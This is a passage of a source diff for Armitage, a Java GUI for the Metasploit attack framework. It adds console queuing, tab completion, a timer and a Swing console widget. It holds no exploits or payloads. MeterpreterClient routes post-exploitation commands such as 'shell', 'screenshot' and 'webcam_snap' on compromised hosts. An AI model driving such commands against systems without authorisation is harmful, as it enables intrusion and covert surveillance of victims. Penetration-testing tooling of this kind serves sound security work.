|
||||||
|
import java.security.*;
|
||||||
|
|
||||||
|
/* Implements a class for writing commands to a console and firing an event when the command is successfully executed
|
||||||
|
(with its output). My hope is that this will replace the CommandClient class which likes to execute stuff out of order */
|
||||||
|
public class ConsoleQueue implements Runnable {
|
||||||
|
protected RpcConnection connection;
|
||||||
|
protected LinkedList listeners = new LinkedList();
|
||||||
|
protected LinkedList listeners_all = new LinkedList();
|
||||||
|
protected LinkedList commands = new LinkedList();
|
||||||
|
protected String consoleid = null;
|
||||||
|
protected Console display = null;
|
||||||
|
|
||||||
|
private static class Command {
|
||||||
|
public Object token;
|
||||||
|
public String text;
|
||||||
|
public long start = System.currentTimeMillis();
|
||||||
|
}
|
||||||
|
|
||||||
|
public Console getWindow() {
|
||||||
|
return display;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static interface ConsoleCallback {
|
||||||
|
public void commandComplete(String consoleid, Object token, String response);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* I'm not necessarily trying to bloat this class, but this method will let me get rid of another class */
|
||||||
|
public java.util.List tabComplete(String pcommand) {
|
||||||
|
try {
|
||||||
|
Map read = (Map)connection.execute("console.tabs", new Object[] { consoleid, pcommand });
|
||||||
|
if (read.containsKey("tabs")) {
|
||||||
|
return (java.util.List)read.get("tabs");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (Exception ex) {
|
||||||
|
ex.printStackTrace();
|
||||||
|
}
|
||||||
|
return new LinkedList();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void addListener(ConsoleCallback l) {
|
||||||
|
listeners.add(l);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void addSessionListener(ConsoleCallback l) {
|
||||||
|
listeners_all.add(l);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setDisplay(final Console display) {
|
||||||
|
this.display = display;
|
||||||
|
display.getInput().addActionListener(new ActionListener() {
|
||||||
|
public void actionPerformed(ActionEvent ev) {
|
||||||
|
display.getInput().setText("");
|
||||||
|
addCommand(null, ev.getActionCommand());
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
public void fireSessionReadEvent(String text) {
|
||||||
|
Iterator i = listeners_all.iterator();
|
||||||
|
while (i.hasNext()) {
|
||||||
|
((ConsoleCallback)i.next()).commandComplete(consoleid, null, text);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void fireEvent(Command command, String output) {
|
||||||
|
if (command.token == null)
|
||||||
|
return;
|
||||||
|
|
||||||
|
Iterator i = listeners.iterator();
|
||||||
|
while (i.hasNext()) {
|
||||||
|
((ConsoleCallback)i.next()).commandComplete(consoleid, command != null ? command.token : null, output);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public ConsoleQueue(RpcConnection connection) {
|
||||||
|
this.connection = connection;
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean isEmptyData(String data) {
|
||||||
|
return "".equals(data) || "null".equals(data);
|
||||||
|
}
|
||||||
|
|
||||||
|
protected void processCommand(Command c) {
|
||||||
|
Map read = null;
|
||||||
|
try {
|
||||||
|
if (c.text.startsWith("ECHO ")) {
|
||||||
|
if (display != null) {
|
||||||
|
display.append(c.text.substring(5));
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
StringBuffer writeme = new StringBuffer();
|
||||||
|
writeme.append(c.text);
|
||||||
|
writeme.append("\n");
|
||||||
|
|
||||||
|
/* absorb anything misc */
|
||||||
|
read = readResponse();
|
||||||
|
String prompt = ConsoleClient.cleanText(read.get("prompt") + "");
|
||||||
|
|
||||||
|
/* print ze command y0 */
|
||||||
|
if (display != null) {
|
||||||
|
display.append(prompt + writeme.toString());
|
||||||
|
}
|
||||||
|
|
||||||
|
/* write our command to whateverz */
|
||||||
|
connection.execute("console.write", new Object[] { consoleid, writeme.toString() });
|
||||||
|
|
||||||
|
/* start collecting output */
|
||||||
|
StringBuffer output = new StringBuffer();
|
||||||
|
Thread.sleep(10);
|
||||||
|
int count = 0;
|
||||||
|
long start = System.currentTimeMillis();
|
||||||
|
|
||||||
|
while ((read = readResponse()) != null) {
|
||||||
|
String text = null;
|
||||||
|
if (! isEmptyData( read.get("data") + "" ) ) {
|
||||||
|
text = read.get("data") + "";
|
||||||
|
output.append(text);
|
||||||
|
count++;
|
||||||
|
}
|
||||||
|
else if ("false".equals( read.get("busy") + "" ) && isEmptyData( read.get("data") + "" )) {
|
||||||
|
if (count > 0) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
else if ((System.currentTimeMillis() - start) > 10000) {
|
||||||
|
/* this is a safety check to keep a console from spinning waiting for one command to complete. Shouldn't ever trigger. */
|
||||||
|
System.err.println("Timed out: " + c.text);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if ("failure".equals( read.get("result") + "" )) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!prompt.equals( ConsoleClient.cleanText(read.get("prompt") + "") )) {
|
||||||
|
/* this is a state change, we'll count it */
|
||||||
|
count++;
|
||||||
|
}
|
||||||
|
|
||||||
|
Thread.sleep(10);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* fire an event with our output */
|
||||||
|
fireEvent(c, output.toString());
|
||||||
|
}
|
||||||
|
catch (Exception ex) {
|
||||||
|
System.err.println(consoleid + " -> " + c.text + " ( " + read + ")");
|
||||||
|
ex.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void addCommand(Object token, String text) {
|
||||||
|
synchronized (this) {
|
||||||
|
if (text.trim().equals("")) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Command temp = new Command();
|
||||||
|
temp.token = token;
|
||||||
|
temp.text = text;
|
||||||
|
commands.add(temp);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
protected boolean stop = false;
|
||||||
|
|
||||||
|
public void start() {
|
||||||
|
new Thread(this).start();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void stop() {
|
||||||
|
synchronized (this) {
|
||||||
|
stop = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void destroy() {
|
||||||
|
synchronized (this) {
|
||||||
|
destroyCommand = "console.release_and_destroy";
|
||||||
|
stop = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
protected Command grabCommand() {
|
||||||
|
synchronized (this) {
|
||||||
|
return (Command)commands.pollFirst();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/* keep grabbing commands, acquiring locks, until everything is executed */
|
||||||
|
public void run() {
|
||||||
|
try {
|
||||||
|
Map read = (Map)connection.execute("console.allocate", new Object[] {});
|
||||||
|
consoleid = read.get("id") + "";
|
||||||
|
|
||||||
|
while (true) {
|
||||||
|
Command next = grabCommand();
|
||||||
|
if (next != null) {
|
||||||
|
processCommand(next);
|
||||||
|
Thread.sleep(10);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
synchronized (this) {
|
||||||
|
if (stop) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (display != null)
|
||||||
|
readResponse();
|
||||||
|
|
||||||
|
Thread.sleep(1000);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
connection.execute(destroyCommand, new Object[] { consoleid });
|
||||||
|
}
|
||||||
|
catch (Exception ex) {
|
||||||
|
System.err.println("This console appears to be dead! " + consoleid + ", " + ex);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private String destroyCommand = "console.release";
|
||||||
|
|
||||||
|
private Map readResponse() throws Exception {
|
||||||
|
Thread.yield();
|
||||||
|
Map temp = (Map)(connection.execute("console.read", new Object[] { consoleid }));
|
||||||
|
if (display != null && !isEmptyData(temp.get("data") + "")) {
|
||||||
|
display.append(temp.get("data") + "");
|
||||||
|
fireSessionReadEvent(temp.get("data") + "");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (display != null && !isEmptyData(temp.get("prompt") + "")) {
|
||||||
|
String prompt = ConsoleClient.cleanText(temp.get("prompt") + "");
|
||||||
|
display.updatePrompt(prompt);
|
||||||
|
}
|
||||||
|
|
||||||
|
return temp;
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,91 @@
|
||||||
|
package armitage;
|
||||||
|
|
||||||
|
import console.Console;
|
||||||
|
import msf.*;
|
||||||
|
import java.util.*;
|
||||||
|
import java.awt.*;
|
||||||
|
import java.awt.event.*;
|
||||||
|
import javax.swing.*;
|
||||||
|
|
||||||
|
/* A generic class to manage reading/writing to a console. Keeps the code simpler (although the Sleep code to do this is
|
||||||
|
simpler than this Java code. *sigh* */
|
||||||
|
public abstract class GenericTabCompletion {
|
||||||
|
protected Console window;
|
||||||
|
|
||||||
|
/* state for the actual tab completion */
|
||||||
|
protected String last = null;
|
||||||
|
protected Iterator tabs = null;
|
||||||
|
|
||||||
|
public Console getWindow() {
|
||||||
|
return window;
|
||||||
|
}
|
||||||
|
|
||||||
|
public GenericTabCompletion(Console window) {
|
||||||
|
this.window = window;
|
||||||
|
|
||||||
|
window.addActionForKey("pressed TAB", new AbstractAction() {
|
||||||
|
public void actionPerformed(ActionEvent ev) {
|
||||||
|
tabComplete(ev);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
public abstract Collection getOptions(String text);
|
||||||
|
|
||||||
|
public void tabComplete(ActionEvent ev) {
|
||||||
|
String text = window.getInput().getText();
|
||||||
|
if (text.length() == 0)
|
||||||
|
return;
|
||||||
|
|
||||||
|
if (tabs != null && tabs.hasNext() && text.equals(last)) {
|
||||||
|
last = (String)tabs.next();
|
||||||
|
window.getInput().setText(last);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
try {
|
||||||
|
LinkedHashSet responses = new LinkedHashSet();
|
||||||
|
Collection options = getOptions(text);
|
||||||
|
|
||||||
|
if (options == null)
|
||||||
|
return;
|
||||||
|
|
||||||
|
/* cycle through all of our options, we want to split items up to the
|
||||||
|
first slash. We also want them to be unique and ordered (hence the
|
||||||
|
linked hash set */
|
||||||
|
Iterator i = options.iterator();
|
||||||
|
while (i.hasNext()) {
|
||||||
|
String option = i.next() + "";
|
||||||
|
|
||||||
|
String begin;
|
||||||
|
String end;
|
||||||
|
|
||||||
|
if (text.length() > option.length()) {
|
||||||
|
begin = option;
|
||||||
|
end = "";
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
begin = option.substring(0, text.length());
|
||||||
|
end = option.substring(text.length());
|
||||||
|
}
|
||||||
|
|
||||||
|
int nextSlash;
|
||||||
|
if ((nextSlash = end.indexOf('/')) > -1 && (nextSlash + 1) < end.length()) {
|
||||||
|
end = end.substring(0, nextSlash);
|
||||||
|
}
|
||||||
|
|
||||||
|
responses.add(begin + end);
|
||||||
|
}
|
||||||
|
|
||||||
|
responses.add(text);
|
||||||
|
|
||||||
|
tabs = responses.iterator();
|
||||||
|
last = (String)tabs.next();
|
||||||
|
|
||||||
|
window.getInput().setText(last);
|
||||||
|
}
|
||||||
|
catch (Exception ex) {
|
||||||
|
ex.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,94 @@
|
||||||
|
package armitage;
|
||||||
|
|
||||||
|
import console.Console;
|
||||||
|
import msf.*;
|
||||||
|
import java.util.*;
|
||||||
|
import java.awt.*;
|
||||||
|
import java.awt.event.*;
|
||||||
|
import javax.swing.*;
|
||||||
|
|
||||||
|
/* This is a rewritten client class to keep compatible with ConsoleClient but interface with the new
|
||||||
|
MeterpreterSession class. This new class makes sure each command is executed and receives its output
|
||||||
|
before the next one is executed. This prevents the Armitage UI from becoming confused */
|
||||||
|
|
||||||
|
public class MeterpreterClient implements ActionListener, MeterpreterSession.MeterpreterCallback {
|
||||||
|
protected Console window;
|
||||||
|
protected MeterpreterSession session;
|
||||||
|
protected ActionListener shellCommand;
|
||||||
|
|
||||||
|
public Console getWindow() {
|
||||||
|
return window;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void commandComplete(String sid, Object token, Map response) {
|
||||||
|
if (token == this || token == null)
|
||||||
|
processRead(response);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void commandTimeout(String sid, Object token, Map response) {
|
||||||
|
window.append("[*] Timed out waiting for command to complete.\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
private void processRead(Map read) {
|
||||||
|
try {
|
||||||
|
if (! "".equals( read.get("data") )) {
|
||||||
|
String text = read.get("data") + "";
|
||||||
|
window.append(text);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (! "".equals( read.get("prompt") )) {
|
||||||
|
window.updatePrompt(ConsoleClient.cleanText(read.get("prompt") + ""));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (Exception ex) {
|
||||||
|
throw new RuntimeException(ex);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public MeterpreterClient(Console window, MeterpreterSession session, ActionListener shellCommand) {
|
||||||
|
this.window = window;
|
||||||
|
this.session = session;
|
||||||
|
this.shellCommand = shellCommand;
|
||||||
|
this.session.addListener(this);
|
||||||
|
|
||||||
|
setupListener();
|
||||||
|
|
||||||
|
window.updatePrompt("meterpreter > ");
|
||||||
|
}
|
||||||
|
|
||||||
|
/* called when the associated tab is closed */
|
||||||
|
public void actionPerformed(ActionEvent ev) {
|
||||||
|
/* nothing we need to do for now */
|
||||||
|
}
|
||||||
|
|
||||||
|
protected void finalize() {
|
||||||
|
actionPerformed(null);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void sendString(String text) {
|
||||||
|
window.append(window.getPromptText() + text);
|
||||||
|
session.addCommand(this, text);
|
||||||
|
}
|
||||||
|
|
||||||
|
protected void setupListener() {
|
||||||
|
window.getInput().addActionListener(new ActionListener() {
|
||||||
|
public void actionPerformed(ActionEvent ev) {
|
||||||
|
String text = window.getInput().getText() + "\n";
|
||||||
|
window.getInput().setText("");
|
||||||
|
|
||||||
|
if (shellCommand != null && text.trim().equals("shell")) {
|
||||||
|
shellCommand.actionPerformed(new ActionEvent(this, 0, "shell"));
|
||||||
|
}
|
||||||
|
else if (shellCommand != null && text.trim().equals("screenshot")) {
|
||||||
|
shellCommand.actionPerformed(new ActionEvent(this, 0, "screenshot"));
|
||||||
|
}
|
||||||
|
else if (shellCommand != null && text.trim().equals("webcam_snap")) {
|
||||||
|
shellCommand.actionPerformed(new ActionEvent(this, 0, "webcam_snap"));
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
sendString(text);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,18 @@
|
||||||
|
package armitage;
|
||||||
|
|
||||||
|
import console.Console;
|
||||||
|
import java.util.*;
|
||||||
|
|
||||||
|
/* uses a console queue as a tab completion source */
|
||||||
|
public class QueueTabCompletion extends GenericTabCompletion {
|
||||||
|
protected ConsoleQueue queue;
|
||||||
|
|
||||||
|
public QueueTabCompletion(Console window, ConsoleQueue queue) {
|
||||||
|
super(window);
|
||||||
|
this.queue = queue;
|
||||||
|
}
|
||||||
|
|
||||||
|
public Collection getOptions(String text) {
|
||||||
|
return queue.tabComplete(text);
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,40 @@
|
||||||
|
package armitage;
|
||||||
|
|
||||||
|
import console.Console;
|
||||||
|
import msf.*;
|
||||||
|
import java.util.*;
|
||||||
|
|
||||||
|
/** A generic class to execute several queries and return their results */
|
||||||
|
public class SimpleTimer implements Runnable {
|
||||||
|
protected long sleepPeriod;
|
||||||
|
protected Runnable doit;
|
||||||
|
protected boolean flag;
|
||||||
|
|
||||||
|
public SimpleTimer(long period) {
|
||||||
|
sleepPeriod = period;
|
||||||
|
flag = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setRunnable(Runnable r) {
|
||||||
|
doit = r;
|
||||||
|
new Thread(this).start();
|
||||||
|
}
|
||||||
|
|
||||||
|
/* this should only be called within the thread executing the runnable */
|
||||||
|
public void stop() {
|
||||||
|
flag = false;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void run() {
|
||||||
|
try {
|
||||||
|
while (flag) {
|
||||||
|
doit.run();
|
||||||
|
Thread.sleep(sleepPeriod);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (Exception ex) {
|
||||||
|
System.err.println("TIMER DIED | continue: " + flag + ", " + sleepPeriod + "ms, " + doit);
|
||||||
|
ex.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,41 @@
|
||||||
|
package armitage;
|
||||||
|
|
||||||
|
import console.Console;
|
||||||
|
import msf.*;
|
||||||
|
import java.util.*;
|
||||||
|
import java.awt.*;
|
||||||
|
import java.awt.event.*;
|
||||||
|
import javax.swing.*;
|
||||||
|
|
||||||
|
import java.io.IOException;
|
||||||
|
|
||||||
|
/* A generic class to manage reading/writing to a console. Keeps the code simpler (although the Sleep code to do this is
|
||||||
|
simpler than this Java code. *sigh* */
|
||||||
|
public class TabCompletion extends GenericTabCompletion {
|
||||||
|
protected RpcConnection connection;
|
||||||
|
protected String session;
|
||||||
|
protected String tabsCommand;
|
||||||
|
|
||||||
|
public TabCompletion(Console window, RpcConnection connection, String session, String tabsCommand) {
|
||||||
|
super(window);
|
||||||
|
this.connection = connection;
|
||||||
|
this.session = session;
|
||||||
|
this.tabsCommand = tabsCommand;
|
||||||
|
}
|
||||||
|
|
||||||
|
public Collection getOptions(String text) {
|
||||||
|
try {
|
||||||
|
Map response = (Map)connection.execute(tabsCommand, new Object[] { session, text });
|
||||||
|
|
||||||
|
if (response.get("tabs") == null)
|
||||||
|
return null;
|
||||||
|
|
||||||
|
Collection options = (Collection)response.get("tabs");
|
||||||
|
return options;
|
||||||
|
}
|
||||||
|
catch (IOException ioex) {
|
||||||
|
ioex.printStackTrace();
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,581 @@
|
||||||
|
package console;
|
||||||
|
|
||||||
|
import javax.swing.*;
|
||||||
|
import javax.swing.event.*;
|
||||||
|
import javax.swing.border.*;
|
||||||
|
import javax.swing.text.*;
|
||||||
|
|
||||||
|
import java.awt.*;
|
||||||
|
import java.awt.event.*;
|
||||||
|
|
||||||
|
import java.io.PrintStream;
|
||||||
|
|
||||||
|
import java.util.*;
|
||||||
|
|
||||||
|
import armitage.Activity;
|
||||||
|
|
||||||
|
/** A generic multi-feature console for use in the Armitage network attack tool */
|
||||||
|
public class Console extends JPanel implements FocusListener {
|
||||||
|
protected JTextArea console;
|
||||||
|
protected JTextField input;
|
||||||
|
protected JLabel prompt;
|
||||||
|
|
||||||
|
protected PrintStream log = null;
|
||||||
|
|
||||||
|
protected Properties display;
|
||||||
|
protected Font consoleFont;
|
||||||
|
|
||||||
|
protected ClickListener clickl;
|
||||||
|
|
||||||
|
protected String defaultPrompt = "meterpreter > ";
|
||||||
|
|
||||||
|
protected LinkedList components = new LinkedList();
|
||||||
|
protected ListIterator history = new LinkedList().listIterator(0);
|
||||||
|
|
||||||
|
public void addWordClickListener(ActionListener l) {
|
||||||
|
clickl.addListener(l);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void writeToLog(PrintStream p) {
|
||||||
|
log = p;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setDefaultPrompt(String p) {
|
||||||
|
defaultPrompt = p;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setPopupMenu(ConsolePopup menu) {
|
||||||
|
clickl.setPopup(menu);
|
||||||
|
}
|
||||||
|
|
||||||
|
public class ClickListener extends MouseAdapter {
|
||||||
|
protected LinkedList listeners = new LinkedList();
|
||||||
|
protected ConsolePopup popup = null;
|
||||||
|
protected Console parent = null;
|
||||||
|
|
||||||
|
public ClickListener(Console parent) {
|
||||||
|
this.parent = parent;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setPopup(ConsolePopup popup) {
|
||||||
|
this.popup = popup;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void addListener(ActionListener l) {
|
||||||
|
listeners.add(l);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void mousePressed(MouseEvent ev) {
|
||||||
|
checkPopup(ev);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void mouseReleased(MouseEvent ev) {
|
||||||
|
checkPopup(ev);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void checkPopup(MouseEvent ev) {
|
||||||
|
if (ev.isPopupTrigger()) {
|
||||||
|
if (popup != null && console.getSelectedText() == null) {
|
||||||
|
String result = resolveWord();
|
||||||
|
popup.showPopup(result, ev);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
getPopupMenu((JTextComponent)ev.getSource()).show((JComponent)ev.getSource(), ev.getX(), ev.getY());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void mouseClicked(MouseEvent ev) {
|
||||||
|
if (!ev.isPopupTrigger()) {
|
||||||
|
String result = resolveWord();
|
||||||
|
Iterator i = listeners.iterator();
|
||||||
|
ActionEvent event = new ActionEvent(parent, 0, result);
|
||||||
|
|
||||||
|
if (!"".equals(result)) {
|
||||||
|
while (i.hasNext()) {
|
||||||
|
ActionListener l = (ActionListener)i.next();
|
||||||
|
l.actionPerformed(new ActionEvent(parent, 0, result));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
checkPopup(ev);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public String resolveWord() {
|
||||||
|
int position = console.getCaretPosition();
|
||||||
|
String data = console.getText();
|
||||||
|
|
||||||
|
int start = data.lastIndexOf(" ", position);
|
||||||
|
int end = data.indexOf(" ", position);
|
||||||
|
|
||||||
|
if (start == -1)
|
||||||
|
start = 0;
|
||||||
|
|
||||||
|
if (end == -1)
|
||||||
|
end = data.length();
|
||||||
|
|
||||||
|
if (end >= start) {
|
||||||
|
String temp = data.substring(start, end).trim();
|
||||||
|
int a = temp.indexOf("\n");
|
||||||
|
if (a > 0) {
|
||||||
|
return temp.substring(0, a);
|
||||||
|
}
|
||||||
|
return temp;
|
||||||
|
}
|
||||||
|
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public JTextField getInput() {
|
||||||
|
return input;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void updateProperties(Properties display) {
|
||||||
|
this.display = display;
|
||||||
|
updateComponentLooks();
|
||||||
|
}
|
||||||
|
|
||||||
|
private void updateComponentLooks() {
|
||||||
|
Color foreground = Color.decode(display.getProperty("console.foreground.color", "#ffffff"));
|
||||||
|
Color background = Color.decode(display.getProperty("console.background.color", "#000000"));
|
||||||
|
|
||||||
|
Iterator i = components.iterator();
|
||||||
|
while (i.hasNext()) {
|
||||||
|
JComponent component = (JComponent)i.next();
|
||||||
|
component.setForeground(foreground);
|
||||||
|
component.setBackground(background);
|
||||||
|
component.setFont(consoleFont);
|
||||||
|
|
||||||
|
if (component == console || component == prompt) {
|
||||||
|
component.setBorder(BorderFactory.createEmptyBorder(0, 5, 0, 0));
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
component.setBorder(BorderFactory.createEmptyBorder(0, 0, 0, 0));
|
||||||
|
}
|
||||||
|
|
||||||
|
if (component instanceof JTextComponent) {
|
||||||
|
JTextComponent tcomponent = (JTextComponent)component;
|
||||||
|
tcomponent.setCaretColor(foreground.brighter());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getPromptText() {
|
||||||
|
return prompt.getText();
|
||||||
|
}
|
||||||
|
|
||||||
|
protected boolean promptLock = false;
|
||||||
|
|
||||||
|
/* this function is not thread safe */
|
||||||
|
public void setPrompt(String text) {
|
||||||
|
String bad = "\ufffd\ufffd";
|
||||||
|
if (text.equals(bad) || text.equals("null")) {
|
||||||
|
prompt.setText(defaultPrompt);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
defaultPrompt = text;
|
||||||
|
prompt.setText(text);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/** updates the prompt. This is a thread-safe funtion */
|
||||||
|
public void updatePrompt(final String _prompt) {
|
||||||
|
if (SwingUtilities.isEventDispatchThread()) {
|
||||||
|
setPrompt(_prompt);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
SwingUtilities.invokeLater(new Runnable() {
|
||||||
|
public void run() {
|
||||||
|
if (!promptLock)
|
||||||
|
setPrompt(_prompt);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
protected void appendToConsole(String _text) {
|
||||||
|
if (_text.endsWith("\n") || _text.endsWith("\r")) {
|
||||||
|
if (!promptLock) {
|
||||||
|
console.append(_text);
|
||||||
|
if (log != null)
|
||||||
|
log.print(_text);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
console.append(prompt.getText());
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!_text.startsWith(prompt.getText()))
|
||||||
|
promptLock = false;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
int breakp = _text.lastIndexOf("\n");
|
||||||
|
|
||||||
|
if (breakp != -1) {
|
||||||
|
console.append(_text.substring(0, breakp + 1));
|
||||||
|
prompt.setText(_text.substring(breakp + 1) + " ");
|
||||||
|
if (log != null)
|
||||||
|
log.print(_text.substring(0, breakp + 1));
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
prompt.setText(_text);
|
||||||
|
}
|
||||||
|
promptLock = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
if (console.getDocument().getLength() >= 1) {
|
||||||
|
console.setCaretPosition(console.getDocument().getLength() - 1);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/** appends the text. This is a thread-safe function */
|
||||||
|
public void append(final String _text) {
|
||||||
|
if (SwingUtilities.isEventDispatchThread()) {
|
||||||
|
appendToConsole(_text);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
SwingUtilities.invokeLater(new Runnable() {
|
||||||
|
public void run() {
|
||||||
|
appendToConsole(_text);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
protected JPanel bottom = null;
|
||||||
|
|
||||||
|
/** call this to remove the input area */
|
||||||
|
public void noInput() {
|
||||||
|
if (SwingUtilities.isEventDispatchThread()) {
|
||||||
|
remove(bottom);
|
||||||
|
validate();
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
SwingUtilities.invokeLater(new Runnable() {
|
||||||
|
public void run() {
|
||||||
|
remove(bottom);
|
||||||
|
validate();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public Console() {
|
||||||
|
this(new Properties());
|
||||||
|
}
|
||||||
|
|
||||||
|
public Console(Properties display) {
|
||||||
|
this.display = display;
|
||||||
|
consoleFont = Font.decode(display.getProperty("console.font.font", "Monospaced BOLD 14"));
|
||||||
|
|
||||||
|
setLayout(new BorderLayout());
|
||||||
|
setBorder(new EmptyBorder(2, 2, 2, 2));
|
||||||
|
|
||||||
|
/* init the console */
|
||||||
|
|
||||||
|
console = new JTextArea();
|
||||||
|
console.setEditable(false);
|
||||||
|
console.setLineWrap(true);
|
||||||
|
console.addFocusListener(this);
|
||||||
|
|
||||||
|
JScrollPane scroll = new JScrollPane(
|
||||||
|
console,
|
||||||
|
ScrollPaneConstants.VERTICAL_SCROLLBAR_ALWAYS,
|
||||||
|
ScrollPaneConstants.HORIZONTAL_SCROLLBAR_NEVER);
|
||||||
|
|
||||||
|
add(scroll, BorderLayout.CENTER);
|
||||||
|
|
||||||
|
/* init the prompt */
|
||||||
|
|
||||||
|
prompt = new JLabel();
|
||||||
|
|
||||||
|
/* init the input */
|
||||||
|
|
||||||
|
input = new JTextField();
|
||||||
|
|
||||||
|
/* gymnastics because Java shares a static keymap among all textfields by default... grrr */
|
||||||
|
|
||||||
|
input.setKeymap(JTextField.addKeymap(null, input.getKeymap()));
|
||||||
|
|
||||||
|
/* handle the popup menu */
|
||||||
|
|
||||||
|
input.addMouseListener(new MouseAdapter() {
|
||||||
|
public void checkEvent(MouseEvent e) {
|
||||||
|
if (e.isPopupTrigger()) {
|
||||||
|
getPopupMenu((JTextComponent)e.getSource()).show((JComponent)e.getSource(), e.getX(), e.getY());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void mouseClicked(MouseEvent e) { checkEvent(e); }
|
||||||
|
public void mousePressed(MouseEvent e) { checkEvent(e); }
|
||||||
|
public void mouseReleased(MouseEvent e) { checkEvent(e); }
|
||||||
|
});
|
||||||
|
|
||||||
|
/* do this so I can bind the Tab key */
|
||||||
|
|
||||||
|
input.setFocusTraversalKeys(KeyboardFocusManager.FORWARD_TRAVERSAL_KEYS, new HashSet());
|
||||||
|
input.setFocusTraversalKeys(KeyboardFocusManager.BACKWARD_TRAVERSAL_KEYS, new HashSet());
|
||||||
|
input.setFocusTraversalKeys(KeyboardFocusManager.UP_CYCLE_TRAVERSAL_KEYS, new HashSet());
|
||||||
|
|
||||||
|
/* bottom */
|
||||||
|
|
||||||
|
bottom = new JPanel();
|
||||||
|
bottom.setLayout(new BorderLayout());
|
||||||
|
|
||||||
|
bottom.add(input, BorderLayout.CENTER);
|
||||||
|
bottom.add(prompt, BorderLayout.WEST);
|
||||||
|
|
||||||
|
add(bottom, BorderLayout.SOUTH);
|
||||||
|
|
||||||
|
/* keep track of components that we want to make pretty */
|
||||||
|
|
||||||
|
components.add(input);
|
||||||
|
components.add(console);
|
